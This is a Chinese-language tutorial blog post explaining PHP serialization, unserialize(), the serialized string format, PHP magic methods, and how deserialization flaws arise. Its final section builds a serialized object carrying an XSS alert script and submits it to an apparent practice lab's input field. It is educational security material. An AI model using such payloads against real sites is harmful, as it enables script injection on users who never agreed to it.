【PHP反序列化】PHP反序列化原理、函数、利用过程

举报
黑色地带(崛起) 发表于 2023/02/16 22:44:38 2023/02/16
【摘要】 【PHP反序列化】PHP反序列化原理、函数、利用过程

【PHP反序列化】PHP反序列化原理、函数、利用过程

 目录

一、简介:

二、原理:

2.1、函数:

2.1.1、serialize()序列化

2.1.2、unserialize()反序列化

三、常见的序列化格式:

四、产生的原因:

4.1、无类:

4.2、有类:

五、魔术方法(触发):

六、利用:

6.1、分析

6.2、构造序列化

6.3、输入执行


编辑

(智者千虑,必有一失) 



一、简介:

序列化就是将数据转化成一种可逆的字符串,字符串还原原来结构的过程叫做反序列化

序列化后,方便保存和传输(保留成员变量,不保留函数方法)


数据(对象)--------序列化---------->字符串-----------反序列化-------->数据(对象)



二、原理:

2.1、函数:

2.1.1、serialize()序列化

将一个对象转换成可以传输的一个字符串

序列化对象后,可以方便的将它传递到其他需要它的地方,且其类型和结构不会改变

eg:

class S{

public $test="pikachu";

}

$s=new S(); //创建一个对象

serialize($s); //把这个对象进行序列化



2.1.2、unserialize()反序列化

将序列化后的字符串还原成一个对象,或数组(即进行反序列化),并返回原始的对象结构

并在后面的代码中继续使用,加密后的字符串如下所示

编辑


对字符串代码进行分析:

$u=unserialize("O:1:"S":1:{s:4:"test";s:7:"pikachu";}");

echo $u->test; //得到的结果为pikachu


O:1:"S":1:{s:4:"test";s:7:"pikachu";} //这是序列化结果

O:代表object         1:代表对象名字长度为一个字符         S:对象名称         1:代表对象里面有一个变量          s:数据类型        4:变量名长度         test:变量名称         s:数据类型         7:变量值的长度         pikachu:变量值



三、常见的序列化格式:

二进制格式

字节数组

json字符串

xml字符串

……

布尔型(bool):b

整数型(int):i

字符串型(str):s

数组型(array):a

对象型(object):O

NULL型:N


编辑


四、产生的原因:

对用户的输入检测不严


4.1、无类:

当未检测出攻击者输入的序列化字符串中包含的恶意执行语句

攻击者从而达到控制反序列化过程,进而进行恶意代码的执行(好比SQL注入,目录遍历等操作)


4.2、有类:

当进行反序列化的时候就有可能会触发对象中的一些魔术方法



五、魔术方法(触发):

(前提:有可利用的类)

__construct()        //创建对象时触发

__destruct()        //对象销毁时触发

__call()        //在对象中调用不可访问的方法时触发

__callStatic()        //在静态中调用不可访问的方法时触发

__get()        //用于从不可访问的属性读取数据

__set()        //用于将数据写入不可访问的属性

__isset()        //在不可访问的属性上调用isset()或empty()触发

__unset()        //在不可访问的属性上使用unset()时触发

__invoke()        //当脚本尝试将对象调用为函数时触发

__wakeup()        //执行unserialize()时,先会调用这个函数

__sleep()        //执行serialize()时,先会调用这个函数





六、利用:

6.1、分析

因为这是反序列化API

所以要先把包含执行语句的php序列化

编辑



6.2、构造序列化

编写包含恶意语句的php

下面是一个弹窗

-------------------------------------------

<?php
 
class S{
        var $test = "<script>alert('xss')</script>";
}

$a = new S();
echo serialize($a);
?>

------------------------------------------


构造出来是:

O:1:"S":1:{s:4:"test";s:29:"<script>alert('xss')</script>";}

并将其进行序列化(网上的在线工具都可)

编辑




6.3、输入执行

将序列化后的复制到输入框提交

会产生弹窗

编辑


【版权声明】本文为华为云社区用户原创内容,转载时必须标注文章的来源(华为云社区)、文章链接、文章作者等基本信息, 否则作者和本社区有权追究责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@huaweicloud.com
  • 点赞
  • 收藏
  • 关注作者

评论(0

0/1000
抱歉,系统识别当前为高风险访问,暂不支持该操作

全部回复

上滑加载中

设置昵称

在此一键设置昵称,即可参与社区互动!

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。

*长度不超过10个汉字或20个英文字符,设置后3个月内不可修改。